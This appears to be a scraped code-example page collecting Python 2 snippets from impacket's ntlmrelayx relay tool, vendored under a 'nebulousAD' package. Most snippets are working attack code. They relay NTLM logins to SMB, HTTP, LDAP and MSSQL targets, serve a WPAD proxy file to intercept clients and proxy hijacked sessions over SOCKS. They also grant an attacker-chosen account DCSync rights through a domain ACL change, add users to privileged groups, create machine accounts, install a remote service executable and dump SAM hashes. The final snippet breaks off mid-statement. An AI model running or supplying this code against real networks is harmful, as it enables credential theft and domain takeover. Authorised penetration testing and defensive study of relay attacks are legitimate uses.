Esempio n. 1
0
    def __init__(self, server_address=('0.0.0.0', 1080), handler_class=SocksRequestHandler):
        LOG.info('SOCKS proxy started. Listening at port %d', server_address[1] )

        self.activeRelays = {}
        self.socksPlugins = {}
        self.restAPI = None
        self.activeConnectionsWatcher = None
        self.supportedSchemes = []
        SocketServer.TCPServer.allow_reuse_address = True
        SocketServer.TCPServer.__init__(self, server_address, handler_class)

        # Let's register the socksplugins plugins we have
        from nebulousAD.modimpacket.examples.ntlmrelayx.servers.socksplugins import SOCKS_RELAYS

        for relay in SOCKS_RELAYS:
            LOG.info('%s loaded..' % relay.PLUGIN_NAME)
            self.socksPlugins[relay.PLUGIN_SCHEME] = relay
            self.supportedSchemes.append(relay.PLUGIN_SCHEME)

        # Let's create a timer to keep the connections up.
        self.__timer = RepeatedTimer(KEEP_ALIVE_TIMER, keepAliveTimer, self)

        # Let's start our RESTful API
        self.restAPI = Thread(target=webService, args=(self, ))
        self.restAPI.daemon = True
        self.restAPI.start()

        # Let's start out worker for active connections
        self.activeConnectionsWatcher = Thread(target=activeConnectionsWatcher, args=(self, ))
        self.activeConnectionsWatcher.daemon = True
        self.activeConnectionsWatcher.start()
Esempio n. 2
0
 def findWritableShare(self, shares):
     # Check we can write a file on the shares, stop in the first one
     writeableShare = None
     for i in shares['Buffer']:
         if i['shi1_type'] == srvs.STYPE_DISKTREE or i[
                 'shi1_type'] == srvs.STYPE_SPECIAL:
             share = i['shi1_netname'][:-1]
             tid = 0
             try:
                 tid = self.connection.connectTree(share)
                 self.connection.openFile(
                     tid,
                     '\\',
                     FILE_WRITE_DATA,
                     creationOption=FILE_DIRECTORY_FILE)
             except:
                 LOG.critical("share '%s' is not writable." % share)
                 pass
             else:
                 LOG.info('Found writable share %s' % share)
                 writeableShare = str(share)
                 break
             finally:
                 if tid != 0:
                     self.connection.disconnectTree(tid)
     return writeableShare
Esempio n. 3
0
 def run(self):
     while True:
         mtime = os.stat(self.targetprocessor.filename).st_mtime
         if mtime > self.lastmtime:
             LOG.info('Targets file modified - refreshing')
             self.lastmtime = mtime
             self.targetprocessor.readTargets()
         time.sleep(1.0)
Esempio n. 4
0
 def run(self):
     if self.config.queries is None:
         LOG.error('No SQL queries specified for MSSQL relay!')
     else:
         for query in self.config.queries:
             LOG.info('Executing SQL: %s' % query)
             self.client.sql_query(query)
             self.client.printReplies()
             self.client.printRows()
Esempio n. 5
0
    def createService(self, handle, share, path):
        LOG.info("Creating service %s on %s....." %
                 (self.__service_name, self.connection.getRemoteHost()))

        # First we try to open the service in case it exists. If it does, we remove it.
        try:
            resp = scmr.hROpenServiceW(self.rpcsvc, handle,
                                       self.__service_name + '\x00')
        except Exception, e:
            if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') >= 0:
                # We're good, pass the exception
                pass
            else:
                raise e
Esempio n. 6
0
 def copy_file(self, src, tree, dst):
     LOG.info("Uploading file %s" % dst)
     if isinstance(src, str):
         # We have a filename
         fh = open(src, 'rb')
     else:
         # We have a class instance, it must have a read method
         fh = src
     f = dst
     pathname = string.replace(f, '/', '\\')
     try:
         self.connection.putFile(tree, pathname, fh.read)
     except:
         LOG.critical("Error uploading file %s, aborting....." % dst)
         raise
     fh.close()
Esempio n. 7
0
 def addUserToGroup(self, userDn, domainDumper, groupDn):
     global alreadyEscalated
     # For display only
     groupName = groupDn.split(',')[0][3:]
     userName = userDn.split(',')[0][3:]
     # Now add the user as a member to this group
     res = self.client.modify(groupDn,
                              {'member': [(ldap3.MODIFY_ADD, [userDn])]})
     if res:
         LOG.info('Adding user: %s to group %s result: OK' %
                  (userName, groupName))
         LOG.info('Privilege escalation succesful, shutting down...')
         alreadyEscalated = True
         thread.interrupt_main()
     else:
         LOG.error('Failed to add user to %s group: %s' %
                   (groupName, str(self.client.result)))
Esempio n. 8
0
    def run(self):
        LOG.info("Setting up HTTP Server")

        if self.config.listeningPort:
            httpport = self.config.listeningPort
        else:
            httpport = 80

        # changed to read from the interfaceIP set in the configuration
        self.server = self.HTTPServer((self.config.interfaceIp, httpport), self.HTTPHandler, self.config)

        try:
             self.server.serve_forever()
        except KeyboardInterrupt:
             pass
        LOG.info('Shutting down HTTP Server')
        self.server.server_close()
Esempio n. 9
0
    def getTarget(self, choose_random=False):
        if len(self.candidates) > 0:
            if choose_random is True:
                return random.choice(self.candidates)
            else:
                return self.candidates.pop()
        else:
            if len(self.originalTargets) > 0:
                self.candidates = [
                    x for x in self.originalTargets
                    if x not in self.finishedAttacks
                ]
            else:
                #We are here, which means all the targets are already exhausted by the client
                LOG.info("All targets processed!")

        return self.candidates.pop()
Esempio n. 10
0
    def getShares(self):
        # Setup up a DCE SMBTransport with the connection already in place
        LOG.info("Requesting shares on %s....." %
                 (self.connection.getRemoteHost()))
        try:
            self._rpctransport = transport.SMBTransport(
                self.connection.getRemoteHost(),
                self.connection.getRemoteHost(),
                filename=r'\srvsvc',
                smb_connection=self.connection)
            dce_srvs = self._rpctransport.get_dce_rpc()
            dce_srvs.connect()

            dce_srvs.bind(srvs.MSRPC_UUID_SRVS)
            resp = srvs.hNetrShareEnum(dce_srvs, 1)
            return resp['InfoStruct']['ShareInfo']['Level1']
        except:
            LOG.critical("Error requesting shares on %s, aborting....." %
                         (self.connection.getRemoteHost()))
            raise
Esempio n. 11
0
 def openSvcManager(self):
     LOG.info("Opening SVCManager on %s....." %
              self.connection.getRemoteHost())
     # Setup up a DCE SMBTransport with the connection already in place
     self._rpctransport = transport.SMBTransport(
         self.connection.getRemoteHost(),
         self.connection.getRemoteHost(),
         filename=r'\svcctl',
         smb_connection=self.connection)
     self.rpcsvc = self._rpctransport.get_dce_rpc()
     self.rpcsvc.connect()
     self.rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
     try:
         resp = scmr.hROpenSCManagerW(self.rpcsvc)
     except:
         LOG.critical("Error opening SVCManager on %s....." %
                      self.connection.getRemoteHost())
         raise Exception('Unable to open SVCManager')
     else:
         return resp['lpScHandle']
Esempio n. 12
0
 def writeRestoreData(self, restoredata, domaindn):
     output = {}
     domain = re.sub(',DC=',
                     '.',
                     domaindn[domaindn.find('DC='):],
                     flags=re.I)[3:]
     output['config'] = {
         'server': self.client.server.host,
         'domain': domain
     }
     output['history'] = [{
         'operation': 'add_domain_sync',
         'data': restoredata,
         'contextuser': self.username
     }]
     now = datetime.datetime.now()
     filename = 'aclpwn-%s.restore' % now.strftime("%Y%m%d-%H%M%S")
     # Save the json to file
     with codecs.open(filename, 'w', 'utf-8') as outfile:
         json.dump(output, outfile)
     LOG.info('Saved restore state to %s', filename)
Esempio n. 13
0
 def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
     if unpack('B',
               str(authenticateMessageBlob)
               [:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
         respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
         token = respToken2['ResponseToken']
     else:
         token = authenticateMessageBlob
     auth = base64.b64encode(token)
     headers = {'Authorization': 'NTLM %s' % auth}
     self.session.request('GET', self.path, headers=headers)
     res = self.session.getresponse()
     if res.status == 401:
         return None, STATUS_ACCESS_DENIED
     else:
         LOG.info(
             'HTTP server returned error code %d, treating as a successful login'
             % res.status)
         #Cache this
         self.lastresult = res.read()
         return None, STATUS_SUCCESS
Esempio n. 14
0
    def wrapClientConnection(self, cert='/tmp/impacket.crt'):
        # Create a context, we don't really care about the SSL/TLS
        # versions used since it is only intended for local use and thus
        # doesn't have to be super-secure
        ctx = SSL.Context(SSL.SSLv23_METHOD)
        try:
            ctx.use_privatekey_file(cert)
            ctx.use_certificate_file(cert)
        except SSL.Error:
            LOG.info(
                'SSL requested - generating self-signed certificate in /tmp/impacket.crt'
            )
            generateImpacketCert(cert)
            ctx.use_privatekey_file(cert)
            ctx.use_certificate_file(cert)

        sslSocket = SSL.Connection(ctx, self.socksSocket)
        sslSocket.set_accept_state()

        # Now set this property back to the SSL socket instead of the regular one
        self.socksSocket = sslSocket
Esempio n. 15
0
def activeConnectionsWatcher(server):
    while True:
        # This call blocks until there is data, so it doesn't loop endlessly
        target, port, scheme, userName, client, data = activeConnections.get()
        # ToDo: Careful. Dicts are not thread safe right?
        if server.activeRelays.has_key(target) is not True:
            server.activeRelays[target] = {}
        if server.activeRelays[target].has_key(port) is not True:
            server.activeRelays[target][port] = {}

        if server.activeRelays[target][port].has_key(userName) is not True:
            LOG.info('SOCKS: Adding %s@%s(%s) to active SOCKS connection. Enjoy' % (userName, target, port))
            server.activeRelays[target][port][userName] = {}
            # This is the protocolClient. Needed because we need to access the killConnection from time to time.
            # Inside this instance, you have the session attribute pointing to the relayed session.
            server.activeRelays[target][port][userName]['protocolClient'] = client
            server.activeRelays[target][port][userName]['inUse'] = False
            server.activeRelays[target][port][userName]['data'] = data
            # Just for the CHALLENGE data, we're storing this general
            server.activeRelays[target][port]['data'] = data
            # Let's store the protocol scheme, needed be used later when trying to find the right socks relay server to use
            server.activeRelays[target][port]['scheme'] = scheme

            # Default values in case somebody asks while we're gettting the data
            server.activeRelays[target][port][userName]['isAdmin'] = 'N/A'
            # Do we have admin access in this connection?
            try:
                LOG.debug("Checking admin status for user %s" % str(userName))
                isAdmin = client.isAdmin()
                server.activeRelays[target][port][userName]['isAdmin'] = isAdmin
            except Exception as e:
                # Method not implemented
                server.activeRelays[target][port][userName]['isAdmin'] = 'N/A'
                pass
            LOG.debug("isAdmin returned: %s" % server.activeRelays[target][port][userName]['isAdmin'])
        else:
            LOG.info('Relay connection for %s at %s(%d) already exists. Discarding' % (userName, target, port))
            client.killConnection()
Esempio n. 16
0
    def sendNegotiate(self, negotiateMessage):
        #Check if server wants auth
        self.session.request('GET', self.path)
        res = self.session.getresponse()
        res.read()
        if res.status != 401:
            LOG.info(
                'Status code returned: %d. Authentication does not seem required for URL'
                % res.status)
        try:
            if 'NTLM' not in res.getheader('WWW-Authenticate'):
                LOG.error(
                    'NTLM Auth not offered by URL, offered protocols: %s' %
                    res.getheader('WWW-Authenticate'))
                return False
        except (KeyError, TypeError):
            LOG.error('No authentication requested by the server for url %s' %
                      self.targetHost)
            return False

        #Negotiate auth
        negotiate = base64.b64encode(negotiateMessage)
        headers = {'Authorization': 'NTLM %s' % negotiate}
        self.session.request('GET', self.path, headers=headers)
        res = self.session.getresponse()
        res.read()
        try:
            serverChallengeBase64 = re.search(
                'NTLM ([a-zA-Z0-9+/]+={0,2})',
                res.getheader('WWW-Authenticate')).group(1)
            serverChallenge = base64.b64decode(serverChallengeBase64)
            challenge = NTLMAuthChallenge()
            challenge.fromString(serverChallenge)
            return challenge
        except (IndexError, KeyError, AttributeError):
            LOG.error('No NTLM challenge returned from server')
Esempio n. 17
0
 def __init__(self,request, client_address, server):
     self.server = server
     self.protocol_version = 'HTTP/1.1'
     self.challengeMessage = None
     self.target = None
     self.client = None
     self.machineAccount = None
     self.machineHashes = None
     self.domainIp = None
     self.authUser = None
     self.wpad = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||' \
                 '(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; ' \
                 'return "PROXY %s:80; DIRECT";} '
     if self.server.config.mode != 'REDIRECT':
         if self.server.config.target is None:
             # Reflection mode, defaults to SMB at the target, for now
             self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0])
         self.target = self.server.config.target.getTarget(self.server.config.randomtargets)
         LOG.info("HTTPD: Received connection from %s, attacking target %s://%s" % (client_address[0] ,self.target.scheme, self.target.netloc))
     try:
         SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self,request, client_address, server)
     except Exception, e:
         LOG.error(str(e))
         LOG.debug(traceback.format_exc())
Esempio n. 18
0
 def uninstall(self):
     fileCopied = True
     serviceCreated = True
     # Do the stuff here
     try:
         # Let's get the shares
         svcManager = self.openSvcManager()
         if svcManager != 0:
             resp = scmr.hROpenServiceW(self.rpcsvc, svcManager,
                                        self.__service_name + '\x00')
             service = resp['lpServiceHandle']
             LOG.info('Stopping service %s.....' % self.__service_name)
             try:
                 scmr.hRControlService(self.rpcsvc, service,
                                       scmr.SERVICE_CONTROL_STOP)
             except:
                 pass
             LOG.info('Removing service %s.....' % self.__service_name)
             scmr.hRDeleteService(self.rpcsvc, service)
             scmr.hRCloseServiceHandle(self.rpcsvc, service)
             scmr.hRCloseServiceHandle(self.rpcsvc, svcManager)
         LOG.info('Removing file %s.....' % self.__binary_service_name)
         self.connection.deleteFile(self.share, self.__binary_service_name)
     except Exception:
         LOG.critical("Error performing the uninstallation, cleaning up")
         try:
             scmr.hRControlService(self.rpcsvc, service,
                                   scmr.SERVICE_CONTROL_STOP)
         except:
             pass
         if fileCopied is True:
             try:
                 self.connection.deleteFile(self.share,
                                            self.__binary_service_name)
             except:
                 try:
                     self.connection.deleteFile(self.share,
                                                self.__binary_service_name)
                 except:
                     pass
                 pass
         if serviceCreated is True:
             try:
                 scmr.hRDeleteService(self.rpcsvc, service)
             except:
                 pass
Esempio n. 19
0
    def skipAuthentication(self):
        # See if the user provided authentication
        data = self.socksSocket.recv(self.packetSize)
        # Get headers from data
        headerDict = self.getHeaders(data)
        try:
            creds = headerDict['authorization']
            if 'Basic' not in creds:
                raise KeyError()
            basicAuth = base64.b64decode(creds[6:])
            self.username = basicAuth.split(':')[0].upper()
            if '@' in self.username:
                # Workaround for clients which specify users with the full FQDN
                # such as ruler
                user, domain = self.username.split('@', 1)
                # Currently we only use the first part of the FQDN
                # this might break stuff on tools that do use an FQDN
                # where the domain NETBIOS name is not equal to the part
                # before the first .
                self.username = '******' % (domain.split('.')[0], user)

            # Check if we have a connection for the user
            if self.activeRelays.has_key(self.username):
                # Check the connection is not inUse
                if self.activeRelays[self.username]['inUse'] is True:
                    LOG.error(
                        'HTTP: Connection for %s@%s(%s) is being used at the moment!'
                        % (self.username, self.targetHost, self.targetPort))
                    return False
                else:
                    LOG.info('HTTP: Proxying client session for %s@%s(%s)' %
                             (self.username, self.targetHost, self.targetPort))
                    self.session = self.activeRelays[
                        self.username]['protocolClient'].session
            else:
                LOG.error('HTTP: No session for %s@%s(%s) available' %
                          (self.username, self.targetHost, self.targetPort))
                return False

        except KeyError:
            # User didn't provide authentication yet, prompt for it
            LOG.debug(
                'No authentication provided, prompting for basic authentication'
            )
            reply = [
                'HTTP/1.1 401 Unauthorized',
                'WWW-Authenticate: Basic realm="ntlmrelayx - provide a DOMAIN/username"',
                'Connection: close', '', ''
            ]
            self.socksSocket.send(EOL.join(reply))
            return False

        # When we are here, we have a session
        # Point our socket to the sock attribute of HTTPConnection
        # (contained in the session), which contains the socket
        self.relaySocket = self.session.sock
        # Send the initial request to the server
        tosend = self.prepareRequest(data)
        self.relaySocket.send(tosend)
        # Send the response back to the client
        self.transferResponse()
        return True
Esempio n. 20
0
    def addComputer(self, parent, domainDumper):
        """
        Add a new computer. Parent is preferably CN=computers,DC=Domain,DC=local, but can
        also be an OU or other container where we have write privileges
        """
        global alreadyAddedComputer
        if alreadyAddedComputer:
            LOG.error('New computer already added. Refusing to add another')
            return

        # Random password
        newPassword = ''.join(
            random.choice(string.ascii_letters + string.digits +
                          string.punctuation) for _ in range(15))

        # Get the domain we are in
        domaindn = domainDumper.root
        domain = re.sub(',DC=',
                        '.',
                        domaindn[domaindn.find('DC='):],
                        flags=re.I)[3:]

        # Random computername
        newComputer = (
            ''.join(random.choice(string.ascii_letters)
                    for _ in range(8)) + '$').upper()
        computerHostname = newComputer[:-1]
        newComputerDn = ('CN=%s,%s' %
                         (computerHostname, parent)).encode('utf-8')

        # Default computer SPNs
        spns = [
            'HOST/%s' % computerHostname,
            'HOST/%s.%s' % (computerHostname, domain),
            'RestrictedKrbHost/%s' % computerHostname,
            'RestrictedKrbHost/%s.%s' % (computerHostname, domain),
        ]
        ucd = {
            'dnsHostName': '%s.%s' % (computerHostname, domain),
            'userAccountControl': 4096,
            'servicePrincipalName': spns,
            'sAMAccountName': newComputer,
            'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le')
        }
        LOG.debug('New computer info %s', ucd)
        LOG.info('Attempting to create computer in: %s', parent)
        res = self.client.add(
            newComputerDn.decode('utf-8'),
            ['top', 'person', 'organizationalPerson', 'user', 'computer'], ucd)
        if not res:
            # Adding computers requires LDAPS
            if self.client.result[
                    'result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:
                LOG.error(
                    'Failed to add a new computer. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing account.'
                )
            else:
                LOG.error('Failed to add a new computer: %s' %
                          str(self.client.result))
            return False
        else:
            LOG.info(
                'Adding new computer with username: %s and password: %s result: OK'
                % (newComputer, newPassword))
            alreadyAddedComputer = True
            # Return the SAM name
            return newComputer
Esempio n. 21
0
        def do_GET(self):
            messageType = 0
            if self.server.config.mode == 'REDIRECT':
                self.do_SMBREDIRECT()
                return

            LOG.info('HTTPD: Client requested path: %s' % self.path.lower())

            # Serve WPAD if:
            # - The client requests it
            # - A WPAD host was provided in the command line options
            # - The client has not exceeded the wpad_auth_num threshold yet
            if self.path.lower() == '/wpad.dat' and self.server.config.serve_wpad and self.should_serve_wpad(self.client_address[0]):
                LOG.info('HTTPD: Serving PAC file to client %s' % self.client_address[0])
                self.serve_wpad()
                return

            # Determine if the user is connecting to our server directly or attempts to use it as a proxy
            if self.command == 'CONNECT' or (len(self.path) > 4 and self.path[:4].lower() == 'http'):
                proxy = True
            else:
                proxy = False

            if (proxy and self.headers.getheader('Proxy-Authorization') is None) or (not proxy and self.headers.getheader('Authorization') is None):
                self.do_AUTHHEAD(message = 'NTLM',proxy=proxy)
                pass
            else:
                if proxy:
                    typeX = self.headers.getheader('Proxy-Authorization')
                else:
                    typeX = self.headers.getheader('Authorization')
                try:
                    _, blob = typeX.split('NTLM')
                    token = base64.b64decode(blob.strip())
                except:
                    self.do_AUTHHEAD(message = 'NTLM', proxy=proxy)
                else:
                    messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]

            if messageType == 1:
                if not self.do_ntlm_negotiate(token, proxy=proxy):
                    #Connection failed
                    LOG.error('Negotiating NTLM with %s://%s failed. Skipping to next target',
                              self.target.scheme, self.target.netloc)
                    self.server.config.target.logTarget(self.target)
                    self.do_REDIRECT()
            elif messageType == 3:
                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                authenticateMessage.fromString(token)

                if not self.do_ntlm_auth(token,authenticateMessage):
                    if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
                        LOG.error("Authenticating against %s://%s as %s\%s FAILED" % (
                            self.target.scheme, self.target.netloc,
                            authenticateMessage['domain_name'].decode('utf-16le'),
                            authenticateMessage['user_name'].decode('utf-16le')))
                    else:
                        LOG.error("Authenticating against %s://%s as %s\%s FAILED" % (
                            self.target.scheme, self.target.netloc,
                            authenticateMessage['domain_name'].decode('ascii'),
                            authenticateMessage['user_name'].decode('ascii')))

                    # Only skip to next if the login actually failed, not if it was just anonymous login or a system account
                    # which we don't want
                    if authenticateMessage['user_name'] != '': # and authenticateMessage['user_name'][-1] != '$':
                        self.server.config.target.logTarget(self.target)
                        # No anonymous login, go to next host and avoid triggering a popup
                        self.do_REDIRECT()
                    else:
                        #If it was an anonymous login, send 401
                        self.do_AUTHHEAD('NTLM', proxy=proxy)
                else:
                    # Relay worked, do whatever we want here...
                    if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
                        LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % (
                            self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'),
                            authenticateMessage['user_name'].decode('utf-16le')))
                    else:
                        LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % (
                            self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'),
                            authenticateMessage['user_name'].decode('ascii')))

                    ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],
                                                        authenticateMessage['user_name'],
                                                        authenticateMessage['domain_name'],
                                                        authenticateMessage['lanman'], authenticateMessage['ntlm'])
                    self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

                    if self.server.config.outputFile is not None:
                        writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.config.outputFile)

                    self.server.config.target.logTarget(self.target, True, self.authUser)

                    self.do_attack()

                    # And answer 404 not found
                    self.send_response(404)
                    self.send_header('WWW-Authenticate', 'NTLM')
                    self.send_header('Content-type', 'text/html')
                    self.send_header('Content-Length','0')
                    self.send_header('Connection','close')
                    self.end_headers()
            return
Esempio n. 22
0
        # Should return whether or not the user is admin in the form of a string (e.g. "TRUE", "FALSE")
        # Depending on the protocol, different techniques should be used.
        # By default, raise exception
        raise RuntimeError('Virtual Function')


for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx',
                                           'clients'):
    if file.find('__') >= 0 or os.path.splitext(file)[1] == '.pyc':
        continue
    __import__(__package__ + '.' + os.path.splitext(file)[0])
    module = sys.modules[__package__ + '.' + os.path.splitext(file)[0]]
    try:
        pluginClasses = set()
        try:
            if hasattr(module, 'PROTOCOL_CLIENT_CLASSES'):
                for pluginClass in module.PROTOCOL_CLIENT_CLASSES:
                    pluginClasses.add(getattr(module, pluginClass))
            else:
                pluginClasses.add(
                    getattr(module, getattr(module, 'PROTOCOL_CLIENT_CLASS')))
        except Exception, e:
            LOG.debug(e)
            pass

        for pluginClass in pluginClasses:
            LOG.info('Protocol Client %s loaded..' % pluginClass.PLUGIN_NAME)
            PROTOCOL_CLIENTS[pluginClass.PLUGIN_NAME] = pluginClass
    except Exception, e:
        LOG.debug(str(e))
Esempio n. 23
0
    def run(self):
        #self.client.search('dc=vulnerable,dc=contoso,dc=com', '(objectclass=person)')
        #print self.client.entries
        global dumpedDomain
        # Set up a default config
        domainDumpConfig = ldapdomaindump.domainDumpConfig()

        # Change the output directory to configured rootdir
        domainDumpConfig.basepath = self.config.lootdir

        # Create new dumper object
        domainDumper = ldapdomaindump.domainDumper(self.client.server,
                                                   self.client,
                                                   domainDumpConfig)

        # If specified validate the user's privileges. This might take a while on large domains but will
        # identify the proper containers for escalating via the different techniques.
        if self.config.validateprivs:
            LOG.info(
                'Enumerating relayed user\'s privileges. This may take a while on large domains'
            )
            userSid, privs = self.validatePrivileges(self.username,
                                                     domainDumper)
            if privs['create']:
                LOG.info('User privileges found: Create user')
            if privs['escalateViaGroup']:
                name = privs['escalateGroup'].split(',')[0][3:]
                LOG.info(
                    'User privileges found: Adding user to a privileged group (%s)'
                    % name)
            if privs['aclEscalate']:
                LOG.info('User privileges found: Modifying domain ACL')

        # If validation of privileges is not desired, we assumed that the user has permissions to escalate
        # an existing user via ACL attacks.
        else:
            LOG.info(
                'Assuming relayed user has privileges to escalate a user via ACL attack'
            )
            privs = {}
            privs['create'] = False
            privs['aclEscalate'] = True
            privs['escalateViaGroup'] = False

        # We prefer ACL escalation since it is more quiet
        if self.config.aclattack and privs['aclEscalate']:
            LOG.debug('Performing ACL attack')
            if self.config.escalateuser:
                # We can escalate an existing user
                result = self.getUserInfo(domainDumper,
                                          self.config.escalateuser)
                # Unless that account does not exist of course
                if not result:
                    LOG.error(
                        'Unable to escalate without a valid user, aborting.')
                    return
                userDn, userSid = result
                # Perform the ACL attack
                self.aclAttack(userDn, domainDumper)
                return
            elif privs['create']:
                # Create a nice shiny new user for the escalation
                userDn = self.addUser(privs['createIn'], domainDumper)
                if not userDn:
                    LOG.error(
                        'Unable to escalate without a valid user, aborting.')
                    return
                # Perform the ACL attack
                self.aclAttack(userDn, domainDumper)
                return
            else:
                LOG.error('Cannot perform ACL escalation because we do not have create user '\
                    'privileges. Specify a user to assign privileges to with --escalate-user')

        # If we can't ACL escalate, try adding us to a privileged group
        if self.config.addda and privs['escalateViaGroup']:
            LOG.debug('Performing Group attack')
            if self.config.escalateuser:
                # We can escalate an existing user
                result = self.getUserInfo(domainDumper,
                                          self.config.escalateuser)
                # Unless that account does not exist of course
                if not result:
                    LOG.error(
                        'Unable to escalate without a valid user, aborting.')
                    return
                userDn, userSid = result
                # Perform the Group attack
                self.addUserToGroup(userDn, domainDumper,
                                    privs['escalateGroup'])
                return
            elif privs['create']:
                # Create a nice shiny new user for the escalation
                userDn = self.addUser(privs['createIn'], domainDumper)
                if not userDn:
                    LOG.error(
                        'Unable to escalate without a valid user, aborting.')
                    return
                # Perform the Group attack
                self.addUserToGroup(userDn, domainDumper,
                                    privs['escalateGroup'])
                return
            else:
                LOG.error('Cannot perform ACL escalation because we do not have create user '\
                          'privileges. Specify a user to assign privileges to with --escalate-user')

        # Perform the Delegate attack if it is enabled and we relayed a computer account
        if self.config.delegateaccess and self.username[-1] == '$':
            self.delegateAttack(self.config.escalateuser, self.username,
                                domainDumper)
            return

        # Add a new computer if that is requested
        # privileges required are not yet enumerated, neither is ms-ds-MachineAccountQuota
        if self.config.addcomputer:
            self.addComputer('CN=Computers,%s' % domainDumper.root,
                             domainDumper)
            return

        # Last attack, dump the domain if no special privileges are present
        if not dumpedDomain and self.config.dumpdomain:
            # Do this before the dump is complete because of the time this can take
            dumpedDomain = True
            LOG.info('Dumping domain info for first time')
            domainDumper.domainDump()
            LOG.info('Domain info dumped into lootdir!')
Esempio n. 24
0
    def aclAttack(self, userDn, domainDumper):
        global alreadyEscalated
        if alreadyEscalated:
            LOG.error('ACL attack already performed. Refusing to continue')
            return

        # Dictionary for restore data
        restoredata = {}

        # Query for the sid of our user
        self.client.search(userDn,
                           '(objectCategory=user)',
                           attributes=['sAMAccountName', 'objectSid'])
        entry = self.client.entries[0]
        username = entry['sAMAccountName'].value
        usersid = entry['objectSid'].value
        LOG.debug('Found sid for user %s: %s' % (username, usersid))

        # Set SD flags to only query for DACL
        controls = security_descriptor_control(sdflags=0x04)
        alreadyEscalated = True

        LOG.info('Querying domain security descriptor')
        self.client.search(
            domainDumper.root,
            '(&(objectCategory=domain))',
            attributes=['SAMAccountName', 'nTSecurityDescriptor'],
            controls=controls)
        entry = self.client.entries[0]
        secDescData = entry['nTSecurityDescriptor'].raw_values[0]
        secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

        # Save old SD for restore purposes
        restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8')
        restoredata['target_sid'] = usersid

        secDesc['Dacl']['Data'].append(
            create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid))
        secDesc['Dacl']['Data'].append(
            create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid))
        dn = entry.entry_dn
        data = secDesc.getData()
        self.client.modify(
            dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])},
            controls=controls)
        if self.client.result['result'] == 0:
            alreadyEscalated = True
            LOG.info(
                'Success! User %s now has Replication-Get-Changes-All privileges on the domain',
                username)
            LOG.info('Try using DCSync with secretsdump.py and this user :)')

            # Query the SD again to see what AD made of it
            self.client.search(
                domainDumper.root,
                '(&(objectCategory=domain))',
                attributes=['SAMAccountName', 'nTSecurityDescriptor'],
                controls=controls)
            entry = self.client.entries[0]
            newSD = entry['nTSecurityDescriptor'].raw_values[0]
            # Save this to restore the SD later on
            restoredata['target_dn'] = dn
            restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8')
            restoredata['success'] = True
            self.writeRestoreData(restoredata, dn)
            return True
        else:
            LOG.error('Error when updating ACL: %s' % self.client.result)
            return False
Esempio n. 25
0
class SMBAttack(ProtocolAttack):
    """
    This is the SMB default attack class.
    It will either dump the hashes from the remote target, or open an interactive
    shell if the -i option is specified.
    """
    PLUGIN_NAMES = ["SMB"]

    def __init__(self, config, SMBClient, username):
        ProtocolAttack.__init__(self, config, SMBClient, username)
        if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
            self.__SMBConnection = SMBConnection(existingConnection=SMBClient)
        else:
            self.__SMBConnection = SMBClient
        self.__answerTMP = ''
        if self.config.interactive:
            #Launch locally listening interactive shell
            self.tcpshell = TcpShell()
        else:
            self.tcpshell = None
            if self.config.exeFile is not None:
                self.installService = serviceinstall.ServiceInstall(
                    SMBClient, self.config.exeFile)

    def __answer(self, data):
        self.__answerTMP += data

    def run(self):
        # Here PUT YOUR CODE!
        if self.tcpshell is not None:
            LOG.info(
                'Started interactive SMB client shell via TCP on 127.0.0.1:%d'
                % self.tcpshell.port)
            #Start listening and launch interactive shell
            self.tcpshell.listen()
            self.shell = MiniImpacketShell(self.__SMBConnection,
                                           self.tcpshell.socketfile)
            self.shell.cmdloop()
            return
        if self.config.exeFile is not None:
            result = self.installService.install()
            if result is True:
                LOG.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from nebulousAD.modimpacket.examples.secretsdump import RemoteOperations, SAMHashes
            from nebulousAD.modimpacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins
            samHashes = None
            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                if self.__SMBConnection.getDialect() == smb.SMB_DIALECT:
                    flags1, flags2 = self.__SMBConnection.getSMBServer(
                    ).get_flags()
                    flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                    self.__SMBConnection.getSMBServer().set_flags(
                        flags2=flags2)

                remoteOps = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
            except Exception, e:
                if "rpc_s_access_denied" in str(
                        e):  # user doesn't have correct privileges
                    if self.config.enumLocalAdmins:
                        LOG.info(
                            u"Relayed user doesn't have admin on {}. Attempting to enumerate users who do..."
                            .format(
                                self.__SMBConnection.getRemoteHost().encode(
